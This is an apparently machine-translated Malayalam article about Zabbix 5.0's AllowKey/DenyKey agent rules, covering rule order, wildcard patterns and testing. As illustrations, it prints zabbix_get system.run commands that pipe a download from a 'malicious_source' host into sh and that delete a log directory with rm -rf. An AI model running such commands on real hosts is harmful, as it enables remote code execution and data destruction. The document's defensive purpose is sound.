Zabbix 5.0-ലെ ഏജന്റ്-സൈഡ് മെട്രിക്കുകൾക്കുള്ള ബ്ലാക്ക്‌ലിസ്റ്റും വൈറ്റ്‌ലിസ്റ്റ് പിന്തുണയും

ഏജന്റ്-സൈഡ് മെട്രിക്കുകൾക്കുള്ള ബ്ലാക്ക്‌ലിസ്റ്റും വൈറ്റ്‌ലിസ്റ്റ് പിന്തുണയും

ടിഖോൺ ഉസ്കോവ്, ഇന്റഗ്രേഷൻ എഞ്ചിനീയർ, Zabbix

ഡാറ്റ സുരക്ഷാ പ്രശ്നങ്ങൾ

Zabbix 5.0-ന് ഒരു പുതിയ സവിശേഷതയുണ്ട്, അത് Zabbix ഏജന്റ് ഉപയോഗിച്ച് സിസ്റ്റങ്ങളിൽ സുരക്ഷ മെച്ചപ്പെടുത്താനും പഴയ പാരാമീറ്റർ മാറ്റിസ്ഥാപിക്കാനും നിങ്ങളെ അനുവദിക്കുന്നു. റിമോട്ട് കമാൻഡുകൾ പ്രവർത്തനക്ഷമമാക്കുക.

ഒരു ഏജന്റിന് അപകടകരമായേക്കാവുന്ന നിരവധി പ്രവർത്തനങ്ങൾ ചെയ്യാൻ കഴിയുമെന്ന വസ്തുതയിൽ നിന്നാണ് ഏജന്റ് അധിഷ്ഠിത സിസ്റ്റങ്ങളുടെ സുരക്ഷയിലെ മെച്ചപ്പെടുത്തലുകൾ ഉണ്ടാകുന്നത്.

• കോൺഫിഗറേഷൻ ഫയലുകളിൽ നിന്നോ ലോഗ് ഫയലുകളിൽ നിന്നോ പാസ്‌വേഡ് ഫയലുകളിൽ നിന്നോ മറ്റേതെങ്കിലും ഫയലുകളിൽ നിന്നോ രഹസ്യാത്മകമോ അപകടകരമോ ആയ വിവരങ്ങൾ ഉൾപ്പെടെ ഏതാണ്ട് ഏത് വിവരവും ഏജന്റിന് ശേഖരിക്കാനാകും.

ഉദാഹരണത്തിന്, zabbix_get യൂട്ടിലിറ്റി ഉപയോഗിച്ച് നിങ്ങൾക്ക് ഉപയോക്താക്കളുടെ ഒരു ലിസ്റ്റ്, അവരുടെ ഹോം ഡയറക്‌ടറികൾ, പാസ്‌വേഡ് ഫയലുകൾ മുതലായവ ആക്‌സസ് ചെയ്യാൻ കഴിയും.

zabbix_get യൂട്ടിലിറ്റി ഉപയോഗിച്ച് ഡാറ്റ ആക്സസ് ചെയ്യുന്നു

ശ്രദ്ധിക്കുക. അനുബന്ധ ഫയലിൽ ഏജന്റിന് റീഡ് പെർമിഷനുകൾ ഉണ്ടെങ്കിൽ മാത്രമേ ഡാറ്റ വീണ്ടെടുക്കാനാകൂ. പക്ഷേ, ഉദാഹരണത്തിന്, ഫയൽ /etc/passwd/ എല്ലാ ഉപയോക്താക്കൾക്കും വായിക്കാൻ കഴിയും.

• അപകടകരമായേക്കാവുന്ന കമാൻഡുകൾ എക്സിക്യൂട്ട് ചെയ്യാനും ഏജന്റിന് കഴിയും. ഉദാഹരണത്തിന്, കീ *system.run[]** നെറ്റ്‌വർക്ക് നോഡുകളിൽ ഏതെങ്കിലും റിമോട്ട് കമാൻഡുകൾ എക്‌സിക്യൂട്ട് ചെയ്യാൻ നിങ്ങളെ അനുവദിക്കുന്നു, Zabbix വെബ് ഇന്റർഫേസിൽ നിന്നുള്ള സ്‌ക്രിപ്റ്റുകൾ റൺ ചെയ്യുന്നതുൾപ്പെടെ, ഏജന്റ് വശത്ത് കമാൻഡുകൾ എക്‌സിക്യൂട്ട് ചെയ്യുന്നു.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• ലിനക്സിൽ, റൂട്ട് പ്രത്യേകാവകാശങ്ങളില്ലാതെ ഏജന്റ് ഡിഫോൾട്ടായി പ്രവർത്തിക്കുന്നു, വിൻഡോസിൽ ഇത് ഒരു സിസ്റ്റമായി പ്രവർത്തിക്കുന്നു, കൂടാതെ ഫയൽ സിസ്റ്റത്തിലേക്ക് അനിയന്ത്രിതമായ ആക്സസ് ഉണ്ട്. അതനുസരിച്ച്, ഇൻസ്റ്റാളേഷന് ശേഷം Zabbix ഏജന്റ് പാരാമീറ്ററുകളിൽ മാറ്റങ്ങളൊന്നും വരുത്തിയില്ലെങ്കിൽ, ഏജന്റിന് രജിസ്ട്രി, ഫയൽ സിസ്റ്റം എന്നിവയിലേക്ക് ആക്‌സസ് ഉണ്ട് കൂടാതെ WMI അന്വേഷണങ്ങൾ നടപ്പിലാക്കാനും കഴിയും.

മുമ്പത്തെ പതിപ്പുകളിൽ പരാമീറ്റർ EnableRemoteCommands=0 കീ ഉപയോഗിച്ച് മെട്രിക്സ് പ്രവർത്തനരഹിതമാക്കാൻ മാത്രമേ അനുവദിക്കൂ *system.run[]** കൂടാതെ വെബ് ഇന്റർഫേസിൽ നിന്നുള്ള സ്‌ക്രിപ്‌റ്റുകൾ പ്രവർത്തിപ്പിക്കുന്നു, എന്നാൽ വ്യക്തിഗത ഫയലുകളിലേക്കുള്ള ആക്‌സസ് നിയന്ത്രിക്കുന്നതിനോ ഏജന്റിനൊപ്പം ഇൻസ്‌റ്റാൾ ചെയ്‌തിരിക്കുന്ന വ്യക്തിഗത കീകൾ അനുവദിക്കുന്നതിനോ പ്രവർത്തനരഹിതമാക്കുന്നതിനോ വ്യക്തിഗത പാരാമീറ്ററുകളുടെ ഉപയോഗം പരിമിതപ്പെടുത്തുന്നതിനോ ഒരു മാർഗവുമില്ല.

Zabbix-ന്റെ മുൻ പതിപ്പുകളിൽ EnableRemoteCommand പാരാമീറ്റർ ഉപയോഗിക്കുന്നു

AllowKey/DenyKey

ഏജന്റ് വശത്ത് മെട്രിക്‌സ് അനുവദിക്കുന്നതിനും നിരസിക്കുന്നതിനുമായി വൈറ്റ്‌ലിസ്റ്റുകളും ബ്ലാക്ക്‌ലിസ്റ്റുകളും നൽകിക്കൊണ്ട് അത്തരം അനധികൃത ആക്‌സസ്സ് പരിരക്ഷിക്കാൻ Zabbix 5.0 സഹായിക്കുന്നു.

Zabbix 5.0-ൽ * ഉൾപ്പെടെ എല്ലാ കീകളുംsystem.run[]** പ്രവർത്തനക്ഷമമാക്കി, രണ്ട് പുതിയ ഏജന്റ് കോൺഫിഗറേഷൻ ഓപ്ഷനുകൾ ചേർത്തു:

AllowKey= - അനുവദനീയമായ പരിശോധനകൾ;

DenyKey= - നിരോധിത പരിശോധനകൾ;

മെറ്റാക്യാരാക്‌ടറുകൾ (*) ഉപയോഗിക്കുന്ന പരാമീറ്ററുകളുള്ള ഒരു കീ നെയിം പാറ്റേൺ എവിടെയാണ്.

ഒരു നിർദ്ദിഷ്‌ട പാറ്റേൺ അടിസ്ഥാനമാക്കി വ്യക്തിഗത മെട്രിക്‌സ് അനുവദിക്കാനോ നിരസിക്കാനോ AllowKey, DenyKey കീകൾ നിങ്ങളെ അനുവദിക്കുന്നു. മറ്റ് കോൺഫിഗറേഷൻ പാരാമീറ്ററുകളിൽ നിന്ന് വ്യത്യസ്തമായി, AllowKey/DenyKey പാരാമീറ്ററുകളുടെ എണ്ണം പരിമിതമല്ല. ചെക്കുകളുടെ ഒരു വൃക്ഷം സൃഷ്ടിച്ചുകൊണ്ട് ഏജന്റിന് സിസ്റ്റത്തിൽ കൃത്യമായി എന്തുചെയ്യാനാകുമെന്ന് വ്യക്തമായി നിർവചിക്കാൻ ഇത് നിങ്ങളെ അനുവദിക്കുന്നു - എക്സിക്യൂട്ടബിൾ കീകൾ, അവ എഴുതിയ ക്രമം വളരെ പ്രധാനപ്പെട്ട പങ്ക് വഹിക്കുന്നു.

നിയമങ്ങളുടെ ക്രമം

കോൺഫിഗറേഷൻ ഫയലിൽ നൽകിയ ക്രമത്തിലാണ് നിയമങ്ങൾ പരിശോധിക്കുന്നത്. ആദ്യ പൊരുത്തത്തിന് മുമ്പ് നിയമങ്ങൾക്കനുസൃതമായി കീ പരിശോധിക്കുന്നു, ഡാറ്റ എലമെന്റിന്റെ കീ പാറ്റേണുമായി പൊരുത്തപ്പെടുന്ന ഉടൻ, അത് അനുവദിക്കുകയോ നിരസിക്കുകയോ ചെയ്യുന്നു. ഇതിനുശേഷം, റൂൾ പരിശോധന നിർത്തുകയും ശേഷിക്കുന്ന കീകൾ അവഗണിക്കുകയും ചെയ്യുന്നു.

അതിനാൽ, ഒരു എലമെന്റ് അനുവദനീയവും നിരസിക്കുന്നതുമായ നിയമവുമായി പൊരുത്തപ്പെടുന്നുവെങ്കിൽ, കോൺഫിഗറേഷൻ ഫയലിൽ ഏത് റൂൾ ആദ്യം വരുന്നു എന്നതിനെ ആശ്രയിച്ചിരിക്കും ഫലം.

ഒരേ പാറ്റേണും ഒരു കീയും ഉള്ള 2 വ്യത്യസ്ത നിയമങ്ങൾ vfs.file.size[/tmp/file]

AllowKey/DenyKey കീകൾ ഉപയോഗിക്കുന്നതിന്റെ ക്രമം:

1. കൃത്യമായ നിയമങ്ങൾ,
2. പൊതു നിയമങ്ങൾ,
3. നിരോധന നിയമം.

ഉദാഹരണത്തിന്, നിങ്ങൾക്ക് ഒരു പ്രത്യേക ഫോൾഡറിലെ ഫയലുകളിലേക്ക് ആക്സസ് വേണമെങ്കിൽ, നിങ്ങൾ ആദ്യം അവയിലേക്ക് ആക്സസ് അനുവദിക്കണം, തുടർന്ന് സ്ഥാപിത അനുമതികളിൽ ഉൾപ്പെടാത്ത മറ്റെല്ലാം നിരസിക്കുക. നിരസിക്കാനുള്ള നിയമം ആദ്യം ഉപയോഗിക്കുകയാണെങ്കിൽ, ഫോൾഡറിലേക്കുള്ള ആക്സസ് നിരസിക്കപ്പെടും.

ശരിയായ ക്രമം

* വഴി പ്രവർത്തിപ്പിക്കാൻ 2 യൂട്ടിലിറ്റികളെ അനുവദിക്കണമെങ്കിൽsystem.run[]**, കൂടാതെ നിരസിക്കുന്ന നിയമം ആദ്യം വ്യക്തമാക്കും, യൂട്ടിലിറ്റികൾ സമാരംഭിക്കില്ല, കാരണം ആദ്യ പാറ്റേൺ എല്ലായ്‌പ്പോഴും ഏതെങ്കിലും കീയുമായി പൊരുത്തപ്പെടും, തുടർന്നുള്ള നിയമങ്ങൾ അവഗണിക്കപ്പെടും.

തെറ്റായ ക്രമം

പാറ്റേണുകൾ

അടിസ്ഥാന നിയമങ്ങൾ

പാറ്റേൺ വൈൽഡ്കാർഡുകളുള്ള ഒരു പദപ്രയോഗമാണ്. മെറ്റാക്യാരാക്‌റ്റർ (*) ഒരു നിർദ്ദിഷ്‌ട സ്ഥാനത്തുള്ള ഏത് പ്രതീകങ്ങളുമായും പൊരുത്തപ്പെടുന്നു. പ്രധാന നാമത്തിലും പാരാമീറ്ററുകളിലും മെറ്റാക്യാരക്‌ടറുകൾ ഉപയോഗിക്കാം. ഉദാഹരണത്തിന്, നിങ്ങൾക്ക് ടെക്സ്റ്റ് ഉപയോഗിച്ച് ആദ്യ പാരാമീറ്റർ കർശനമായി നിർവചിക്കാം, തുടർന്നുള്ളത് വൈൽഡ്കാർഡായി വ്യക്തമാക്കുക.

പരാമീറ്ററുകൾ ചതുര ബ്രാക്കറ്റുകളിൽ ഉൾപ്പെടുത്തിയിരിക്കണം [].

• system.run[* - തെറ്റ്
• vfs.file*.txt] - തെറ്റ്
• vfs.file.*[*] - ശരിയാണ്

വൈൽഡ്കാർഡ് ഉപയോഗിക്കുന്നതിനുള്ള ഉദാഹരണങ്ങൾ.

1. പ്രധാന നാമത്തിലും പരാമീറ്ററിലും. ഈ സാഹചര്യത്തിൽ, ഒരു പാരാമീറ്റർ അടങ്ങാത്ത സമാനമായ കീയുമായി കീ പൊരുത്തപ്പെടുന്നില്ല, കാരണം പാറ്റേണിൽ കീ നാമത്തിന്റെ ഒരു നിശ്ചിത അവസാനവും ഒരു നിശ്ചിത പാരാമീറ്ററുകളും ലഭിക്കാൻ ഞങ്ങൾ ആഗ്രഹിക്കുന്നുവെന്ന് ഞങ്ങൾ സൂചിപ്പിച്ചു.
2. പാറ്റേൺ സ്ക്വയർ ബ്രാക്കറ്റുകൾ ഉപയോഗിക്കുന്നില്ലെങ്കിൽ, പാറ്റേൺ പാരാമീറ്ററുകൾ അടങ്ങാത്ത എല്ലാ കീകളും അനുവദിക്കുകയും നിർദ്ദിഷ്ട പരാമീറ്റർ ഉൾക്കൊള്ളുന്ന എല്ലാ കീകളും നിരസിക്കുകയും ചെയ്യുന്നു.
3. കീ പൂർണ്ണമായി എഴുതുകയും പരാമീറ്ററുകൾ വൈൽഡ്കാർഡ് എന്ന് വ്യക്തമാക്കുകയും ചെയ്താൽ, അത് ഏതെങ്കിലും പാരാമീറ്ററുകളുമായി സമാനമായ ഏതെങ്കിലും കീയുമായി പൊരുത്തപ്പെടും കൂടാതെ സ്ക്വയർ ബ്രാക്കറ്റുകൾ ഇല്ലാതെ കീയുമായി പൊരുത്തപ്പെടുന്നില്ല, അതായത് അത് അനുവദിക്കുകയോ നിരസിക്കുകയോ ചെയ്യും.

പാരാമീറ്ററുകൾ പൂരിപ്പിക്കുന്നതിനുള്ള നിയമങ്ങൾ.

• പരാമീറ്ററുകളുള്ള ഒരു കീ ഉപയോഗിക്കാനാണ് ഉദ്ദേശിക്കുന്നതെങ്കിൽ, കോൺഫിഗറേഷൻ ഫയലിൽ പരാമീറ്ററുകൾ വ്യക്തമാക്കിയിരിക്കണം. പാരാമീറ്ററുകൾ ഒരു മെറ്റാക്യാരാക്‌ടറായി വ്യക്തമാക്കിയിരിക്കണം. ഏതെങ്കിലും ഫയലിലേക്കുള്ള ആക്‌സസ് ശ്രദ്ധാപൂർവ്വം നിരസിക്കുകയും പാരാമീറ്ററുകൾ ഉപയോഗിച്ചും അല്ലാതെയും - വ്യത്യസ്ത അക്ഷരവിന്യാസങ്ങൾക്ക് കീഴിൽ മെട്രിക്കിന് എന്ത് വിവരങ്ങൾ നൽകാൻ കഴിയുമെന്ന് കണക്കിലെടുക്കേണ്ടത് ആവശ്യമാണ്.

പാരാമീറ്ററുകൾ ഉപയോഗിച്ച് കീകൾ എഴുതുന്നതിന്റെ സവിശേഷതകൾ

• ഒരു കീ പാരാമീറ്ററുകൾക്കൊപ്പം വ്യക്തമാക്കിയിട്ടുണ്ടെങ്കിലും, പാരാമീറ്ററുകൾ ഓപ്ഷണൽ ആണെങ്കിൽ, ഒരു മെറ്റാക്യാരാക്ടറായി വ്യക്തമാക്കിയാൽ, പാരാമീറ്ററുകൾ ഇല്ലാത്ത ഒരു കീ പരിഹരിക്കപ്പെടും. ഉദാഹരണത്തിന്, നിങ്ങൾക്ക് സിപിയുവിലെ ലോഡിനെക്കുറിച്ചുള്ള വിവരങ്ങൾ ലഭിക്കുന്നത് അപ്രാപ്‌തമാക്കുകയും system.cpu.load[*] കീ പ്രവർത്തനരഹിതമാക്കണമെന്ന് വ്യക്തമാക്കുകയും ചെയ്യണമെങ്കിൽ, പാരാമീറ്ററുകളില്ലാത്ത കീ ശരാശരി ലോഡ് മൂല്യം നൽകുമെന്ന് മറക്കരുത്.

പാരാമീറ്ററുകൾ പൂരിപ്പിക്കുന്നതിനുള്ള നിയമങ്ങൾ

കുറിപ്പുകൾ

കമപ്പെടുത്തല്

• ചില നിയമങ്ങൾ ഉപയോക്താവിന് മാറ്റാൻ കഴിയില്ല, ഉദാഹരണത്തിന്, കണ്ടെത്തൽ നിയമങ്ങൾ അല്ലെങ്കിൽ ഏജന്റ് സ്വയമേവ രജിസ്ട്രേഷൻ നിയമങ്ങൾ. AllowKey/DenyKey നിയമങ്ങൾ ഇനിപ്പറയുന്ന പാരാമീറ്ററുകളെ ബാധിക്കില്ല:
  - ഹോസ്റ്റ്നാമം ഇനം
  - HostMetadataItem
  - HostInterfaceItem

ശ്രദ്ധിക്കുക. ഒരു അഡ്‌മിനിസ്‌ട്രേറ്റർ ഒരു കീ അപ്രാപ്‌തമാക്കുകയാണെങ്കിൽ, അന്വേഷിക്കുമ്പോൾ, മെട്രിക് അല്ലെങ്കിൽ കീ 'വിഭാഗത്തിൽ പെടുന്നത് എന്തുകൊണ്ടാണെന്നതിനെക്കുറിച്ചുള്ള വിവരങ്ങൾ Zabbix നൽകുന്നില്ല.പിന്തുണയ്ക്കുന്നില്ല'. റിമോട്ട് കമാൻഡുകൾ എക്സിക്യൂട്ട് ചെയ്യുന്നതിനുള്ള വിലക്കുകളെക്കുറിച്ചുള്ള വിവരങ്ങളും ഏജന്റ് ലോഗ് ഫയലുകളിൽ പ്രദർശിപ്പിക്കില്ല. ഇത് സുരക്ഷാ കാരണങ്ങളാലാണ്, പക്ഷേ ചില കാരണങ്ങളാൽ മെട്രിക്‌സ് പിന്തുണയ്‌ക്കാത്ത വിഭാഗത്തിൽ പെട്ടാൽ ഡീബഗ്ഗിംഗ് സങ്കീർണ്ണമാക്കിയേക്കാം.

• ബാഹ്യ കോൺഫിഗറേഷൻ ഫയലുകൾ (ഉദാഹരണത്തിന്, അക്ഷരമാലാക്രമത്തിൽ) ബന്ധിപ്പിക്കുന്നതിന് നിങ്ങൾ ഏതെങ്കിലും പ്രത്യേക ക്രമത്തിൽ ആശ്രയിക്കരുത്.

കമാൻഡ് ലൈൻ യൂട്ടിലിറ്റികൾ

നിയമങ്ങൾ സജ്ജീകരിച്ച ശേഷം, എല്ലാം ശരിയായി ക്രമീകരിച്ചിട്ടുണ്ടെന്ന് നിങ്ങൾ ഉറപ്പാക്കേണ്ടതുണ്ട്.

നിങ്ങൾക്ക് മൂന്ന് ഓപ്ഷനുകളിലൊന്ന് ഉപയോഗിക്കാം:

• Zabbix-ലേക്ക് ഒരു മെട്രിക് ചേർക്കുക.
• ഉപയോഗിച്ച് പരീക്ഷിക്കുക zabbix_agentd. ഓപ്ഷനുള്ള Zabbix ഏജന്റ് -പ്രിന്റ് (-p) കോൺഫിഗറേഷൻ അനുവദനീയമല്ലാത്തവ ഒഴികെ എല്ലാ കീകളും (സ്വതവേ അനുവദനീയമാണ്) കാണിക്കുന്നു. ഒപ്പം ഓപ്ഷനും -ടെസ്റ്റ് (-ടി) കാരണം വിലക്കപ്പെട്ട താക്കോൽ തിരികെ വരുംപിന്തുണയ്ക്കാത്ത ഇനം കീ'.
• ഉപയോഗിച്ച് പരീക്ഷിക്കുക zabbix_get. യൂട്ടിലിറ്റി zabbix_get ഓപ്ഷൻ കൂടെ -k തിരിച്ചു വരും 'ZBX_NOTSUPPORTED: അജ്ഞാത മെട്രിക്'.

അനുവദിക്കുക അല്ലെങ്കിൽ നിരസിക്കുക

നിങ്ങൾക്ക് ഒരു ഫയലിലേക്കുള്ള ആക്സസ് നിരസിക്കാനും പരിശോധിക്കാനും കഴിയും, ഉദാഹരണത്തിന്, യൂട്ടിലിറ്റി ഉപയോഗിച്ച് zabbix_getഫയലിലേക്കുള്ള ആക്സസ് നിരസിച്ചിരിക്കുന്നു.

**

ശ്രദ്ധിക്കുക. പാരാമീറ്ററിലെ ഉദ്ധരണികൾ അവഗണിക്കപ്പെട്ടു.

ഈ സാഹചര്യത്തിൽ, അത്തരമൊരു ഫയലിലേക്കുള്ള ആക്സസ് മറ്റൊരു പാതയിലൂടെ അനുവദിച്ചേക്കാം. ഉദാഹരണത്തിന്, ഒരു സിംലിങ്ക് അതിലേക്ക് നയിക്കുകയാണെങ്കിൽ.

നിർദ്ദിഷ്ട നിയമങ്ങൾ പ്രയോഗിക്കുന്നതിനുള്ള വിവിധ ഓപ്ഷനുകൾ പരിശോധിക്കാൻ ശുപാർശ ചെയ്യുന്നു, കൂടാതെ നിരോധനങ്ങൾ മറികടക്കുന്നതിനുള്ള സാധ്യതകളും കണക്കിലെടുക്കുക.

ചോദ്യങ്ങളും ഉത്തരങ്ങളും

നിങ്ങളുടെ ചോദ്യം. നിയമങ്ങൾ, അനുമതികൾ, വിലക്കുകൾ എന്നിവ വിവരിക്കുന്നതിന് സ്വന്തം ഭാഷയുള്ള അത്തരമൊരു സങ്കീർണ്ണ പാറ്റേൺ തിരഞ്ഞെടുത്തത് എന്തുകൊണ്ട്? ഉദാഹരണത്തിന്, Zabbix ഉപയോഗിക്കുന്ന പതിവ് പദപ്രയോഗങ്ങൾ എന്തുകൊണ്ട് ഉപയോഗിക്കാൻ കഴിഞ്ഞില്ല?

മറുപടി. സാധാരണയായി ഒരു ഏജന്റ് മാത്രമുള്ളതിനാൽ ഇത് ഒരു റീജക്‌സ് പ്രകടന പ്രശ്‌നമാണ്, മാത്രമല്ല ഇത് ധാരാളം അളവുകൾ പരിശോധിക്കുന്നു. Regex തികച്ചും ഭാരിച്ച പ്രവർത്തനമാണ്, ആയിരക്കണക്കിന് മെട്രിക്കുകൾ ഈ രീതിയിൽ പരിശോധിക്കാൻ ഞങ്ങൾക്ക് കഴിയില്ല. വൈൽഡ്കാർഡുകൾ - സാർവത്രികവും വ്യാപകമായി ഉപയോഗിക്കുന്നതും ലളിതവുമായ പരിഹാരം.

നിങ്ങളുടെ ചോദ്യം. Include ഫയലുകൾ അക്ഷരമാലാക്രമത്തിൽ ഉൾപ്പെടുത്തിയിട്ടില്ലേ?

മറുപടി. എനിക്കറിയാവുന്നിടത്തോളം, നിങ്ങൾ നിയമങ്ങൾ വിവിധ ഫയലുകളിൽ വ്യാപിച്ചാൽ നിയമങ്ങൾ ബാധകമാകുന്ന ക്രമം പ്രവചിക്കാൻ ഫലത്തിൽ അസാധ്യമാണ്. എല്ലാ AllowKey/DenyKey നിയമങ്ങളും ഒരു ഉൾപ്പെടുത്തൽ ഫയലിൽ ശേഖരിക്കാൻ ഞാൻ ശുപാർശ ചെയ്യുന്നു, കാരണം അവ പരസ്പരം ഇടപഴകുന്നതും ഈ ഫയൽ ഉൾപ്പെടുന്നതും.

നിങ്ങളുടെ ചോദ്യം. Zabbix 5.0-ൽ ഓപ്ഷൻ 'EnableRemoteCommands=' എന്ന കോൺഫിഗറേഷൻ ഫയലിൽ കാണുന്നില്ല, AllowKey/DenyKey മാത്രമേ ലഭ്യമാവുകയുള്ളൂ?

ഉത്തരം. അതെ അത് ശരിയാണ്.

Спасибо!

അവലംബം: www.habr.com